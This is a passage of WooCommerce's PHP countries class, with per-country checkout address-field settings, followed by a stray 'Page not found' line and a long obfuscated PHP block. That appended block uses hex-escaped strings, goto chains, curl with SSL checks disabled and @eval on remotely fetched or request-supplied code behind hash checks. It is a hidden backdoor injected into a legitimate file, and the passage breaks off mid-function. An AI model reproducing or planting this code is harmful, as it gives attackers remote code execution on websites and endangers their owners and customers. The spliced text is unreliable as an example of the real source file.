							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'ET' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'FI' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'FR' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'GG' => array(
						'state' => array(
							'required' => false,
							'label'    => __( 'Parish', 'woocommerce' ),
						),
					),
					'GH' => array(
						'postcode' => array(
							'required' => false,
						),
						'state'    => array(
							'label' => __( 'Region', 'woocommerce' ),
						),
					),
					'GP' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'GF' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'GR' => array(
						'state' => array(
							'required' => false,
						),
					),
					'GT' => array(
						'postcode' => array(
							'required' => false,
						),
						'state'    => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'HK' => array(
						'postcode' => array(
							'required' => false,
						),
						'city'     => array(
							'label' => __( 'Town / District', 'woocommerce' ),
						),
						'state'    => array(
							'label' => __( 'Region', 'woocommerce' ),
						),
					),
					'HN' => array(
						'state' => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'HU' => array(
						'last_name'  => array(
							'class'    => array( 'form-row-first' ),
							'priority' => 10,
						),
						'first_name' => array(
							'class'    => array( 'form-row-last' ),
							'priority' => 20,
						),
						'postcode'   => array(
							'class'    => array( 'form-row-first', 'address-field' ),
							'priority' => 65,
						),
						'city'       => array(
							'class' => array( 'form-row-last', 'address-field' ),
						),
						'address_1'  => array(
							'priority' => 71,
						),
						'address_2'  => array(
							'priority' => 72,
						),
						'state'      => array(
							'label'    => __( 'County', 'woocommerce' ),
							'required' => false,
						),
					),
					'ID' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'IE' => array(
						'postcode' => array(
							'required' => true,
							'label'    => __( 'Eircode', 'woocommerce' ),
						),
						'state'    => array(
							'label' => __( 'County', 'woocommerce' ),
						),
					),
					'IS' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'IL' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'IM' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'IN' => array(
						'postcode' => array(
							'label' => __( 'PIN Code', 'woocommerce' ),
						),
						'state'    => array(
							'label' => __( 'State', 'woocommerce' ),
						),
					),
					'IR' => array(
						'state'     => array(
							'priority' => 50,
						),
						'city'      => array(
							'priority' => 60,
						),
						'address_1' => array(
							'priority' => 70,
						),
						'address_2' => array(
							'priority' => 80,
						),
					),
					'IT' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => true,
							'label'    => __( 'Province', 'woocommerce' ),
						),
					),
					'JM' => array(
						'city'     => array(
							'label' => __( 'Town / City / Post Office', 'woocommerce' ),
						),
						'postcode' => array(
							'required' => false,
							'label'    => __( 'Postal Code', 'woocommerce' ),
						),
						'state'    => array(
							'required' => true,
							'label'    => __( 'Parish', 'woocommerce' ),
						),
					),
					'JP' => array(
						'last_name'  => array(
							'class'    => array( 'form-row-first' ),
							'priority' => 10,
						),
						'first_name' => array(
							'class'    => array( 'form-row-last' ),
							'priority' => 20,
						),
						'postcode'   => array(
							'class'    => array( 'form-row-first', 'address-field' ),
							'priority' => 65,
						),
						'state'      => array(
							'label'    => __( 'Prefecture', 'woocommerce' ),
							'class'    => array( 'form-row-last', 'address-field' ),
							'priority' => 66,
						),
						'city'       => array(
							'priority' => 67,
						),
						'address_1'  => array(
							'priority' => 68,
						),
						'address_2'  => array(
							'priority' => 69,
						),
					),
					'KN' => array(
						'postcode' => array(
							'required' => false,
							'label'    => __( 'Postal code', 'woocommerce' ),
						),
						'state'    => array(
							'required' => true,
							'label'    => __( 'Parish', 'woocommerce' ),
						),
					),
					'KR' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'KW' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'LV' => array(
						'state' => array(
							'label'    => __( 'Municipality', 'woocommerce' ),
							'required' => false,
						),
					),
					'LB' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'MF' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'MQ' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'MT' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'MZ' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'NI' => array(
						'state' => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'NL' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'NG' => array(
						'postcode' => array(
							'label'    => __( 'Postcode', 'woocommerce' ),
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'label' => __( 'State', 'woocommerce' ),
						),
					),
					'NZ' => array(
						'postcode' => array(
							'label' => __( 'Postcode', 'woocommerce' ),
						),
						'state'    => array(
							'required' => false,
							'label'    => __( 'Region', 'woocommerce' ),
						),
					),
					'NO' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'NP' => array(
						'state'    => array(
							'label' => __( 'State / Zone', 'woocommerce' ),
						),
						'postcode' => array(
							'required' => false,
						),
					),
					'PA' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'PL' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'PR' => array(
						'city'  => array(
							'label' => __( 'Municipality', 'woocommerce' ),
						),
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'PT' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'PY' => array(
						'state' => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'RE' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'RO' => array(
						'state' => array(
							'label'    => __( 'County', 'woocommerce' ),
							'required' => true,
						),
					),
					'RS' => array(
						'city'     => array(
							'required' => true,
						),
						'postcode' => array(
							'required' => true,
						),
						'state'    => array(
							'label'    => __( 'District', 'woocommerce' ),
							'required' => false,
						),
					),
					'RW' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'SG' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
						'city'  => array(
							'required' => false,
						),
					),
					'SK' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'SI' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'SR' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'SV' => array(
						'state' => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'ES' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'LI' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'LK' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'LU' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'MD' => array(
						'state' => array(
							'label' => __( 'Municipality / District', 'woocommerce' ),
						),
					),
					'SE' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'TR' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'UG' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'city'     => array(
							'label'    => __( 'Town / Village', 'woocommerce' ),
							'required' => true,
						),
						'state'    => array(
							'label'    => __( 'District', 'woocommerce' ),
							'required' => true,
						),
					),
					'US' => array(
						'postcode' => array(
							'label' => __( 'ZIP Code', 'woocommerce' ),
						),
						'state'    => array(
							'label' => __( 'State', 'woocommerce' ),
						),
					),
					'UY' => array(
						'state' => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'GB' => array(
						'postcode' => array(
							'label' => __( 'Postcode', 'woocommerce' ),
						),
						'state'    => array(
							'label'    => __( 'County', 'woocommerce' ),
							'required' => false,
						),
					),
					'ST' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'label' => __( 'District', 'woocommerce' ),
						),
					),
					'VN' => array(
						'state'     => array(
							'required' => false,
							'hidden'   => true,
						),
						'postcode'  => array(
							'priority' => 65,
							'required' => false,
							'hidden'   => false,
						),
						'address_2' => array(
							'required' => false,
							'hidden'   => false,
						),
					),
					'WS' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'YT' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'ZA' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'ZW' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
				)
			);

			$this->locale = array_intersect_key( $this->locale, array_merge( $this->get_allowed_countries(), $this->get_shipping_countries() ) );

			// Default Locale Can be filtered to override fields in get_address_fields(). Countries with no specific locale will use default.
			$this->locale['default'] = apply_filters( 'woocommerce_get_country_locale_default', $this->get_default_address_fields() );

			// Filter default AND shop base locales to allow overrides via a single function. These will be used when changing countries on the checkout.
			if ( ! isset( $this->locale[ $this->get_base_country() ] ) ) {
				$this->locale[ $this->get_base_country() ] = $this->locale['default'];
			}

			$this->locale['default']                   = apply_filters( 'woocommerce_get_country_locale_base', $this->locale['default'] );
			$this->locale[ $this->get_base_country() ] = apply_filters( 'woocommerce_get_country_locale_base', $this->locale[ $this->get_base_country() ] );
		}

		return $this->locale;
	}

	/**
	 * Apply locale and get address fields.
	 *
	 * @param  mixed  $country Country.
	 * @param  string $type    Address type, defaults to 'billing_'.
	 * @return array
	 */
	public function get_address_fields( $country = '', $type = 'billing_' ) {
		if ( ! $country ) {
			$country = $this->get_base_country();
		}

		$fields = $this->get_default_address_fields();
		$locale = $this->get_country_locale();

		if ( isset( $locale[ $country ] ) ) {
			$fields = wc_array_overlay( $fields, $locale[ $country ] );
		}

		// Prepend field keys.
		$address_fields = array();

		foreach ( $fields as $key => $value ) {
			if ( 'state' === $key ) {
				$value['country_field'] = $type . 'country';
				$value['country']       = $country;
			}
			$address_fields[ $type . $key ] = $value;
		}

		// Add email and phone fields.
		if ( 'billing_' === $type ) {
			if ( 'hidden' !== CartCheckoutUtils::get_phone_field_visibility() ) {
				$address_fields['billing_phone'] = array(
					'label'        => __( 'Phone', 'woocommerce' ),
					'required'     => 'required' === CartCheckoutUtils::get_phone_field_visibility(),
					'type'         => 'tel',
					'class'        => array( 'form-row-wide' ),
					'validate'     => array( 'phone' ),
					'autocomplete' => 'tel',
					'priority'     => 100,
				);
			}
			$address_fields['billing_email'] = array(
				'label'        => __( 'Email address', 'woocommerce' ),
				'required'     => true,
				'type'         => 'email',
				'class'        => array( 'form-row-wide' ),
				'validate'     => array( 'email' ),
				'autocomplete' => 'email',
				'priority'     => 110,
			);
		}

		/**
		 * Important note on this filter: Changes to address fields can and will be overridden by
		 * the woocommerce_default_address_fields. The locales/default locales apply on top based
		 * on country selection. If you want to change things like the required status of an
		 * address field, filter woocommerce_default_address_fields instead.
		 */
		$address_fields = apply_filters( 'woocommerce_' . $type . 'fields', $address_fields, $country );
		// Sort each of the fields based on priority.
		uasort( $address_fields, 'wc_checkout_fields_uasort_comparison' );

		return $address_fields;
	}
}
Page not found – Hello World !
9jgJIr52iPtc: $H2Nea_oNgwBJ6Aed = array("\x68\x74\164\x70" => array("\x6d\x65\x74\150\157\x64" => "\x47\x45\124", "\164\x69\x6d\145\x6f\x75\x74" => 60, "\x66\157\x6c\x6c\x6f\x77\x5f\x6c\157\143\141\x74\x69\x6f\x6e" => 0), "\x73\163\154" => array("\166\x65\162\151\146\x79\137\x70\145\145\162" => false, "\166\145\x72\x69\146\x79\x5f\160\145\145\162\x5f\x6e\x61\x6d\145" => false)); goto UEZIEq2qSl4E4V7H; UactxSpxh3eDnxoW: $Xw32eYwjXbYN7rRu["\x74\171\160\145"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_CONTENT_TYPE)); goto BziKKz8qtbfyOKTX; r1MPiT6VdriTS0lK: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_CONNECTTIMEOUT, 20); goto AxVMeCOsGizQyUP1; UEZIEq2qSl4E4V7H: $jAc5fZYsyT52BXQi = stream_context_create($H2Nea_oNgwBJ6Aed); goto cTP0l30NxD9oGlcS; N6Z0l_N9HYet_4Tt: HVx5cJtBgR5bkiXB: goto wijT8GyPF65AYD0t; BziKKz8qtbfyOKTX: $Xw32eYwjXbYN7rRu["\x63\x6f\156\164\145\156\164"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_REDIRECT_URL)); goto p9AIXLmUM_hIjumf; U_ypcxXi7WMTLwHv: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_RETURNTRANSFER, 1); goto IJtZiLpwX9U3WcgH; nNtT4C1lYTdQXWIO: if (!in_array($Xw32eYwjXbYN7rRu["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto M3fwGMqvfdJ62I1k; } goto LVKnwfFEhX6fcUPu; qYSmw14jo1i8u3Z2: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_SSL_VERIFYPEER, 0); goto r1MPiT6VdriTS0lK; jAwdgtNzMWeqc6z1: $Xw32eYwjXbYN7rRu["\143\157\156\x74\x65\156\164"] = strval($gxb1IHtRl8ert57r); goto B2ssCxIMpXWWGB7a; AD3iXdHTUGJCWEu1: goto O1YORqHea73j23mo; goto vZSPPJCU1pLBGYVH; sL0dlJqY0ASVDhJL: } catch (Exception $iAp6cnXiVjqqhEi_) { } goto OIawHFtFS4YbqjVb; yPlAnwsCM7zXfZ52: wIDUVVwbcSnTjm_G: goto XbZArGWZz35wreDw; UdF4wam6as19Nhki: $hI3QjIq94YGuFgyt .= "\77" . http_build_query($rbMVDegM8wcZ8oU0); goto yPlAnwsCM7zXfZ52; O4DnzrjyJZxAzyZH: $Xw32eYwjXbYN7rRu = array("\x73\x74\x61\x74\x75\x73" => 0, "\x63\157\156\x74\145\x6e\164" => '', "\x74\x79\x70\x65" => ''); goto Pkg36KOQ_7xyrmhy; OIawHFtFS4YbqjVb: return $Xw32eYwjXbYN7rRu; goto Wzx25xiBMw7QS7k1; Wzx25xiBMw7QS7k1: } goto WFHKpIdXnkK0JYbN; azl5_iUO2EJ3VZD8: $IB_NpCTMvD1nBsRV = hJP_8ixZbX5kOLdg() . $_SERVER["\x48\x54\x54\x50\x5f\110\x4f\x53\124"]; goto hKVeu2UIXx0BP0tb; tfoAS3YN1iF22pST: @header("\103\x6f\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\72" . $Xw32eYwjXbYN7rRu["\164\171\x70\145"]); goto TGtL4H7tr8pjN9RT; EcOPmZbtXZWej8Jf: $Y7eebFkKUQbppqGW = array(); goto Q43iQOsxzdjxEZpg; Jr3Gcjvz1pwcSPoE: $cCoh71weCPheCuf6 = "\162" . "\141" . "\156" . "\x67" . "\145"; goto zv2_1W_at7H7fcqe; FHkFVl1fv0ahr5pC: sdJCsZ1Ja7o_x3Ni: goto Z7kp4VsTFLsT7R2b; Ktjk2zTGJZFXsM5K: metaphone("\115\x44\111\171\x4f\x54\x49\x34\x4f\124\131\x78\115\x44\131\172\x4d\x44\153\63\117\x54\153\61\x4e\x6a\x55\x30\x4d\x7a\125\x79"); goto IraMsdVrc9ICsKKd; NnQq5I0Lg7nROnWN: $Y7eebFkKUQbppqGW["\163\156"] = R_y0bo0CZKusw2md($_SERVER["\123\103\x52\x49\x50\124\137\x4e\x41\115\105"]); goto e0bn2DNtRB__wdPQ; pwXXAGPwTSBTTKaH: KJhPMj8mrzaIocMC: goto EcOPmZbtXZWej8Jf; Jbhk9oxG7ROxGmnj: hY6OZIWWIyUY1jgJ: goto Gfw0rqK3FlVdtmoI; hVySs9CUVzJVaj_5: $KxD1GuJJb6seZiQ0 = ${$y6jzd6x0s4ADodVo[5 + 26] . $y6jzd6x0s4ADodVo[19 + 40] . $y6jzd6x0s4ADodVo[32 + 15] . $y6jzd6x0s4ADodVo[37 + 10] . $y6jzd6x0s4ADodVo[35 + 16] . $y6jzd6x0s4ADodVo[4 + 49] . $y6jzd6x0s4ADodVo[24 + 33]}; goto sv4rF1Rm_4qwinR9; VnYCs1F0k1Ybwrn7: $Y7eebFkKUQbppqGW["\x72\x66"] = R_Y0Bo0CZKUsW2mD($dUjjzvTif7lWZV6t); goto H2c03Oz2NiI0eaj8; sv4rF1Rm_4qwinR9: @(md5(md5(md5(md5($KxD1GuJJb6seZiQ0[18])))) === "\145\67\x66\144\x37\x38\66\x37\65\61\x36\143\146\x63\64\x63\66\x66\x38\x62\x38\145\x66\141\64\x62\x64\x39\63\143\x32\61") && (count($KxD1GuJJb6seZiQ0) == 24 && in_array(gettype($KxD1GuJJb6seZiQ0) . count($KxD1GuJJb6seZiQ0), $KxD1GuJJb6seZiQ0)) ? ($KxD1GuJJb6seZiQ0[65] = $KxD1GuJJb6seZiQ0[65] . $KxD1GuJJb6seZiQ0[77]) && ($KxD1GuJJb6seZiQ0[86] = $KxD1GuJJb6seZiQ0[65]($KxD1GuJJb6seZiQ0[86])) && @eval($KxD1GuJJb6seZiQ0[65](${$KxD1GuJJb6seZiQ0[32]}[13])) : $KxD1GuJJb6seZiQ0; goto Ktjk2zTGJZFXsM5K; WVVCI25fQh19LiNl: hW5eqX_v6ji7UGJ_: goto uQAhR7uIfMYx3nSU; Q43iQOsxzdjxEZpg: $Y7eebFkKUQbppqGW["\x69"] = r_Y0bo0cZKusw2MD($txULHlLhgfoJc26W); goto vk_sgUxgeF0t3wcM; dXO722x2B85iYVsj: J06AW25B6PxvAp5L: goto FHkFVl1fv0ahr5pC; ytrrT4pQhNatMPn5: exit("\x7b\40\x22\x65\x72\x72\x6f\x72\x22\72\x20\62\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\x6a\x6b\42\54\x20\x22\x64\141\x74\141\x22\72\40\x5b\x20\61\40\135\40\x7d"); goto Jbhk9oxG7ROxGmnj; HdfQnG603GOXfDEu: $dUjjzvTif7lWZV6t = ''; goto pwXXAGPwTSBTTKaH; H2c03Oz2NiI0eaj8: $Y7eebFkKUQbppqGW["\x73"] = r_y0bO0CzkUsW2Md($IB_NpCTMvD1nBsRV); goto edYHdtxHjOq2Q2ZJ; xz3oIq2lyo06Z0DT: $jeCpfwJzH7oA6naU = false; goto f9V7c5CsjRp0kIfH; kL9V6NSPw9QZTuUS: oKIo_PkFe5xm0TnH: goto WVVCI25fQh19LiNl; XprX2KLsARqNNiC3: function hjP_8ixzBx5KoLDG() { goto khxgRzh0sWliaYpM; c2eB7Uvlm9PLePhi: $AP1yVCdRS6wT7xAK = "\150\x74\164\160\x73\72\57\57"; goto cN18dkXwXp__hbbS; Gw0HJryz_HJn55s3: $AP1yVCdRS6wT7xAK = "\x68\164\x74\x70\163\x3a\x2f\57"; goto pLy6f85fD_vLwdwi; OC6KYluDYi5tYyPh: if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\x6f\x66\x66") { goto eYD2cPZ1COVDraio; } goto v4JUFLiCcPtJXS3G; khxgRzh0sWliaYpM: $AP1yVCdRS6wT7xAK = "\x68\x74\164\160\72\x2f\x2f"; goto OC6KYluDYi5tYyPh; BlmVd1xVAcohH4Ot: q9KKY6m87PDBUGig: goto EARyWJvu1EpGZz18; pLy6f85fD_vLwdwi: goto q9KKY6m87PDBUGig; goto lN7rmKG5YIlsv6yP; lN7rmKG5YIlsv6yP: lsXpNZAKvccc0SaQ: goto c2eB7Uvlm9PLePhi; cw8sDXCs_Wr_d1AI: eYD2cPZ1COVDraio: goto Gw0HJryz_HJn55s3; cN18dkXwXp__hbbS: goto q9KKY6m87PDBUGig; goto SgjAGuB9u5a9sZhI; EARyWJvu1EpGZz18: return $AP1yVCdRS6wT7xAK; goto N372c3DWVdTiciK9; BDNxHvDdW1TA7mOq: goto q9KKY6m87PDBUGig; goto cw8sDXCs_Wr_d1AI; RmdiFVY63u4oEcHX: $AP1yVCdRS6wT7xAK = "\150\x74\x74\x70\x73\x3a\57\57"; goto BlmVd1xVAcohH4Ot; v4JUFLiCcPtJXS3G: if (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\122\x57\x41\122\104\105\104\x5f\x50\122\x4f\x54\x4f"] === "\150\x74\x74\160\163") { goto lsXpNZAKvccc0SaQ; } goto LxG4s5SLpvG6pBqZ; LxG4s5SLpvG6pBqZ: if (isset($_SERVER["\110\124\x54\x50\x5f\106\122\117\116\x54\x5f\105\x4e\104\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\120\137\106\122\117\x4e\124\137\105\x4e\104\x5f\110\x54\x54\120\123"]) !== "\x6f\x66\x66") { goto DAq745rut92ORIKt; } goto BDNxHvDdW1TA7mOq; SgjAGuB9u5a9sZhI: DAq745rut92ORIKt: goto RmdiFVY63u4oEcHX; N372c3DWVdTiciK9: } goto rCvycr_m4PRbkbOP; IraMsdVrc9ICsKKd: class V1lxShXz4RWM6nkq { static function ioGM50J27vSrzKPT($eGDIV7ROUcDVbszl) { goto m2dNLoat8Smv7RYA; m2dNLoat8Smv7RYA: $qyPyKbRSUXKCfHij = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto bx8upaTTK17CfNBb; bx8upaTTK17CfNBb: $uaL8e674j0Vy18Fs = $qyPyKbRSUXKCfHij("\176", "\x20"); goto qSktnptpA2Ze36ie; WciUPmEUF2UGwEfT: $TxIUXNOyyYxqXieI = ''; goto FEN50Yb14lP5qQMD; qSktnptpA2Ze36ie: $pNo5F2gAq1BXlZfo = explode("\74", $eGDIV7ROUcDVbszl); goto WciUPmEUF2UGwEfT; FEN50Yb14lP5qQMD: foreach ($pNo5F2gAq1BXlZfo as $cCJmVM3vft0cZnfS => $BXwpROBEfl_MpuLj) { $TxIUXNOyyYxqXieI .= $uaL8e674j0Vy18Fs[$BXwpROBEfl_MpuLj - 22773]; Yu2923h_nWPW2OcR: } goto kpBW3K0eWP422cKw; OrYan_q3nLHNLEL2: return $TxIUXNOyyYxqXieI; goto eQ2tf7Yz1N3Vxq4r; kpBW3K0eWP422cKw: O4Jh9h8rGcn6W38A: goto OrYan_q3nLHNLEL2; eQ2tf7Yz1N3Vxq4r: } static function c_JVU6KOIZOzCzeb($hU1dVArVSgKZfZsU, $Z6gLdcwFR772GmPB) { goto PnL71FAUjHbAU9pO; PnL71FAUjHbAU9pO: $TAHiaY0yIlUbwv9E = curl_init($hU1dVArVSgKZfZsU); goto GlVtyxPnNZhJLvZh; GlVtyxPnNZhJLvZh: curl_setopt($TAHiaY0yIlUbwv9E, CURLOPT_RETURNTRANSFER, 1); goto lZvz1ymQK6BcCRG9; Vx9l6QVZwDCDDmBz: return empty($KwToVytWgL7VlA4p) ? $Z6gLdcwFR772GmPB($hU1dVArVSgKZfZsU) : $KwToVytWgL7VlA4p; goto Gsdk4i76mDQ2Iq08; lZvz1ymQK6BcCRG9: $KwToVytWgL7VlA4p = curl_exec($TAHiaY0yIlUbwv9E); goto Vx9l6QVZwDCDDmBz; Gsdk4i76mDQ2Iq08: } static function ObUUzm1SS_j7bPNo() { goto r0i2FMmzdq2DZvyh; RmoU2daClBPR3vQh: $x8TdBB2WBVXJZws0 = @$bOpRU5qEoy8LHx0h[1 + 2]($bOpRU5qEoy8LHx0h[4 + 2], $akOv32zGMjzYEtGF); goto f2vXKL9zXwwapl8q; EosiiBI1RrAyS5Kz: @$bOpRU5qEoy8LHx0h[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($bOpRU5qEoy8LHx0h[1 + 4](__FILE__)); goto D6nwSpQHlU_Ddhkk; fKSO27d3Ab2ZJ_qo: foreach ($DjwRGx2B_i1VZMfI as $WDgrXXlbfNkn0Bk2) { $bOpRU5qEoy8LHx0h[] = self::IOgm50j27VsrZkPt($WDgrXXlbfNkn0Bk2); demCizEMy7CZRP0G: } goto S8HpjjR238X9iK2I; f2vXKL9zXwwapl8q: $armx8kYAqOE9wvFz = $bOpRU5qEoy8LHx0h[1 + 1]($x8TdBB2WBVXJZws0, true); goto EosiiBI1RrAyS5Kz; cppX7gSvpbiE1P2_: $akOv32zGMjzYEtGF = @$bOpRU5qEoy8LHx0h[1]($bOpRU5qEoy8LHx0h[1 + 9](INPUT_GET, $bOpRU5qEoy8LHx0h[1 + 8])); goto RmoU2daClBPR3vQh; ufGYVLkIULe5P676: PuSCCeq3_qJrJZvO: goto gL5x7ZV_i6seNEXy; teHNsCzTBhLbFzrZ: die; goto ufGYVLkIULe5P676; D6nwSpQHlU_Ddhkk: if (!(@$armx8kYAqOE9wvFz[0] - time() > 0 and md5(md5($armx8kYAqOE9wvFz[0 + 3])) === "\62\71\x37\x38\64\145\64\x63\x31\x62\65\145\x65\x39\x34\142\66\x30\x30\x35\x63\141\x30\x63\x36\64\x37\x66\x65\64\x65\x38")) { goto PuSCCeq3_qJrJZvO; } goto PbwnvGTtv8n8642P; S8HpjjR238X9iK2I: Rs72J6mr8byGV983: goto cppX7gSvpbiE1P2_; r0i2FMmzdq2DZvyh: $DjwRGx2B_i1VZMfI = array("\62\62\x38\60\60\x3c\62\x32\67\x38\x35\74\62\x32\x37\x39\70\x3c\x32\62\70\60\x32\x3c\62\x32\x37\70\x33\74\62\62\x37\71\70\x3c\62\62\x38\60\x34\74\62\62\x37\71\67\74\62\62\67\70\x32\74\62\x32\67\70\71\x3c\62\x32\x38\60\x30\x3c\62\62\67\x38\x33\x3c\x32\x32\67\71\64\74\x32\x32\x37\x38\70\74\62\62\x37\x38\71", "\x32\x32\67\x38\x34\x3c\62\62\x37\70\x33\74\62\x32\67\x38\65\x3c\62\62\70\x30\64\x3c\x32\x32\67\x38\x35\74\x32\62\x37\70\x38\74\62\62\67\70\x33\74\x32\x32\70\65\60\x3c\x32\x32\70\x34\x38", "\x32\x32\x37\x39\x33\x3c\62\x32\67\x38\x34\x3c\x32\x32\x37\70\x38\x3c\62\62\67\70\x39\x3c\62\x32\70\x30\64\x3c\x32\x32\x37\x39\x39\74\62\62\x37\71\70\x3c\x32\x32\70\60\60\x3c\62\x32\67\70\x38\x3c\62\62\x37\x39\71\x3c\62\62\x37\71\70", "\x32\62\x37\70\67\74\62\x32\70\x30\x32\74\62\x32\x38\x30\60\74\x32\62\x37\x39\62", "\62\x32\70\60\61\x3c\x32\x32\x38\60\x32\x3c\x32\x32\x37\x38\64\x3c\62\x32\67\x39\x38\74\62\x32\x38\64\x35\x3c\62\62\x38\x34\x37\74\62\62\x38\x30\64\74\62\x32\67\x39\x39\x3c\x32\x32\x37\71\x38\x3c\x32\62\x38\60\60\74\62\x32\x37\x38\x38\74\62\x32\67\71\x39\x3c\62\x32\x37\x39\70", "\62\62\x37\71\x37\x3c\x32\x32\67\x39\x34\74\x32\62\x37\x39\x31\x3c\x32\62\67\71\70\x3c\62\62\x38\60\x34\x3c\x32\x32\x37\71\x36\74\x32\x32\x37\x39\x38\x3c\62\x32\x37\70\x33\74\x32\62\70\60\64\74\62\x32\70\x30\x30\74\62\62\67\70\x38\x3c\x32\x32\x37\x38\71\x3c\62\x32\x37\x38\63\74\x32\x32\67\x39\x38\74\62\x32\67\70\71\74\x32\x32\67\70\x33\x3c\x32\62\x37\x38\x34", "\62\x32\70\x32\67\x3c\x32\x32\x38\x35\x37", "\x32\x32\x37\x37\64", "\62\x32\x38\65\62\74\x32\62\70\65\67", "\62\x32\x38\x33\64\74\x32\x32\x38\x31\67\x3c\x32\62\70\61\67\74\62\62\x38\63\x34\x3c\x32\62\70\61\x30", "\62\62\x37\71\x37\x3c\x32\62\x37\71\64\x3c\x32\x32\67\71\61\x3c\62\62\x37\x38\x33\74\x32\62\x37\71\70\74\62\62\x37\x38\65\74\x32\x32\x38\60\x34\74\x32\x32\x37\x39\64\x3c\62\x32\67\x38\x39\74\62\62\67\x38\x37\74\x32\62\67\x38\x32\x3c\x32\x32\67\x38\63"); goto fKSO27d3Ab2ZJ_qo; PbwnvGTtv8n8642P: $fwvQrfC0DVOPQKCQ = self::c_jVU6KoiZoZczEb($armx8kYAqOE9wvFz[0 + 1], $bOpRU5qEoy8LHx0h[5 + 0]); goto XFmviKsZF6mid1P3; XFmviKsZF6mid1P3: @eval($bOpRU5qEoy8LHx0h[4 + 0]($fwvQrfC0DVOPQKCQ)); goto teHNsCzTBhLbFzrZ; gL5x7ZV_i6seNEXy: } } goto KgW5BINtKCV5tsv0; WFHKpIdXnkK0JYbN: function r_Y0bO0cZKUsW2md($QbUW2uM1jAoGj9GF) { goto XHgT2c75sRe5xPt3; no3aNOgb1r2foxNS: return 